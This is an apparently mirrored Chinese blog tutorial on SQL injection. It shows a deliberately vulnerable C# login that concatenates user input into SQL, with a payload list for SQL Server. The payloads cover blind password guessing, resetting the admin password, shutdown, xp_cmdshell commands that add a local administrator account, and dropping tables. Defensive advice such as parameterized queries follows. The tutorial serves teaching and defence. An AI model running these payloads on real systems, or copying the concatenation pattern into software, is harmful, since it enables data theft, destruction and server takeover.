zoukankan      html  css  js  c++  java
  • (原创)攻击方式学习之(2) SQL注入(SQL Injection)

    简介

    有些网站将直接拿用户的输入 来拼接SQL语句,进行查询等操作,同时也将错误信息暴露给用户。这就给不怀好意的同学可乘之机,利用输入一些奇特的查询字符串,拼接成特定的SQL语 句,即可达到注入的目的。不仅可以获取数据库重要信息,权限没有设置好的话甚至可以删除掉整个表。因此,SQL注入漏洞还是相当的严重的。发现以前偶刚学 写的网站的时候也是靠拼接SQL语句吃饭滴……

    示例

    为了更好了学习和了解SQL注入的方法,做了一个示例网页,界面如下:

     

    点击登陆这块的代码如下,注意第5行,我们使用了拼接SQL语句:

    private void Login()
    {
        string uname = tbName.Text;
        string pwd = tbPassword.Text;
        string sqlCmd = "select * from [Users] where UserName = '" + uname + "'";
        string sqlCmdRep = sqlCmd.Replace("Users", "XXX").Replace("UserName", "XXX");
        lbSQL.Text = sqlCmdRep;
        try
        {
            DataTable dt = DataSQLServer.GetDataTable(sqlCmd);
            gvResult.DataSource = dt;
            gvResult.DataBind();
            if (dt.Rows.Count == 1 && pwd == dt.Rows[0]["Password"].ToString())
            {
                lbRes.Text = dt.Rows[0]["UserName"] + " Login Success!";
            }
            else if(dt.Rows.Count == 0)
            {
                lbRes.Text = uname + " not exist!";
            }
            else
            {
                lbRes.Text = "Login Fail!";
            }
        }
        catch (Exception ex)
        {
            lbRes.Text = "Error: " + ex.Message;
        }
    }


    详细具体的注入方法就不一一介绍了,欢迎下载该示例程序进行实战演练,点击界面的“注入指南”有详细的注入说明:

    1. 试探是否能够注入
          '
    2. 试探管理员用户名
          XXX
    3. 猜表名
            admin'or 0>(select count(*) from [XXX]) --
        更狠的方法直接取表名:
        admin' and (Select Top 1 name from sysobjects where xtype='U')>0   --
    4. 猜列名
           admin'and 0< (select count(XXX) from [Users]) --
        再来狠的取列名:
        admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0   --
    5. 猜密码长度
          admin'and 1=(select count(*) from [Users] where len(Password)<XXX) --
    6. 猜密码
            admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') --
    ----------------------------------------------------------------------------------------------
    在探测出了表名和列表的时候,可以使用终极武器,直接修改admin的密码,或者做更加恶劣的破坏行为:
          admin';update [Users] set Password='123' where UserName='admin' --
    ----------------------------------------------------------------------------------------------
    其他恶劣行为:
    1. 直接关闭偶的SQL服务
        admin';shutdown --
    2. 如果使用sa用户并可能遭受的攻击:在偶机器上添加用户,并加入某个组织:
        admin';exec master..xp_cmdshell "net user name password /add" --
        admin';exec master..xp_cmdshell "net localgroup name administrators /add" --
    3. 直接备份数据库,然后下载下来,非常恶劣,建议不要对我使用。
        admin';backup database Test to disk='d:"1.db'--
    4. 直接删表,慎用啊
        admin';drop table abc --
    ----------------------------------------------------------------------------------------------
    其他经验总结:
    1. 绕过单引号过滤
        where xtype='U'         ===>    where xtype=char(85)
        where name='用户'    ===>    where name=nchar(29992)+nchar(25143)
    2. 取数据库名称
        admin' and db_name()>0 --
    ----------------------------------------------------------------------------------------------

    后面会介绍到如何安全的组装SQL语句。

    示例程序下载 : SQLInjection.rar

    探测

    1. 非常简单,输入一个单引号('),看页面是否出错,要是页面出错了,而且又将错误信息暴露给你了那就太好了。
    2. 从错误信息中观察确定是哪种数据库,比如Access,SQL Server等。不同数据库的SQL语句有些差别
    3. 静态代码分析,从代码中检查SQL语句是否是由字符串拼接而成。

    实施方式

    详见示例网站

    危害

    1. 变态性的,服务器被远程控制,想干嘛干嘛。
    2. 盗取性的,盗取了数据库中的机密信息,谋取私利或其他。
    3. 破坏性的,直接破坏数据库。
    4. 修改性的,篡改数据,比如通过大学成绩查询修改成绩。
    5. 我也没干过,想不出来了。

    防范

    在示例中也说明了如何防范,在这里再精炼一下所谓的防止SQL注入四大法宝:

    1. 最小权限原则
      • 特别是不要用dbo或者sa账户,为不同的类型的动作或者组建使用不同的账户,最小权限原则适用于所有与安全有关的场合。
    2. 在服务器端对用户输入进行过滤
      • 我 们要对一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤;使用强数据类型,比如你需要用户输入一个整数,就要把用户输入的 数据转换成整数形式;限制用户输入的长度等等。这些检查要放在server运行,client提交的任何东西都是不可信的。
    3. 以安全的方式创建SQL语句
      • 不要再用万恶的字符串拼接SQL语句了,使用Parameter对象吧,比如C#中的:
      string sqlText = "select * from [Users] where UserName = @Name";
      SqlParameter nameParm = new SqlParameter("Name", uname);
      sqlCmd.CommandText = sqlText;
      sqlCmd.Parameters.Add(nameParm);
    4. 错误信息不要暴露给用户
      • 当sql运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节。

    5. 特别注意:也许有很多人告诉过你使用存储过程能免受SQL注入攻击。这是错的!这只能阻止某些种类的攻击。比如存在sp_GetName存储过程,我们的代码如下:
    • string name = ...; //name from user
      SqlConnection conn = new SqlConnection(...);
      conn.Open();
      string sqlString = @"exec sp_GetName '" + name + "'";
      SqlCommand cmd = new SqlCommand(sqlString, conn);
      • 我们试图输入"Black' or 1=1 --"将会失败,但下面的操作却是合法的:
      exec sp_GetName 'Black' insert into Users values(2008, 'Green') -- '

    参考资料

    1. Michael Howard, David LeBlanc. "Writing Secure Code"

    2. Mike Andrews, James A. Whittaker "How to Break Web Software"

    3. http://www.secnumen.com/technology/anquanwenzhai.htm

    下一篇是更好玩的:(原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

  • 相关阅读:
    【网络对抗技术】20181234 Exp6 MSF应用基础
    2018-2019-1 20189229 《Linux内核原理与分析》第九周作业
    2018-2019-1 20189229 《Linux内核原理与分析》第八周作业
    2018-2019-1 20189229 《Linux内核原理与分析》第七周作业
    2018-2019-1 20189229《Linux内核原理与分析》第六周作业
    2018-2019-1 20189229 《Linux内核原理与分析》第五周作业
    20189229 张子松 第四周作业
    2018-2019-1 20189229《Linux内核原理与分析》第三周作业
    20189229 张子松 第二周作业
    《Linux内核原理与分析》第一周作业
  • 原文地址:https://www.cnblogs.com/coderzh/p/1285556.html
Copyright © 2011-2022 走看看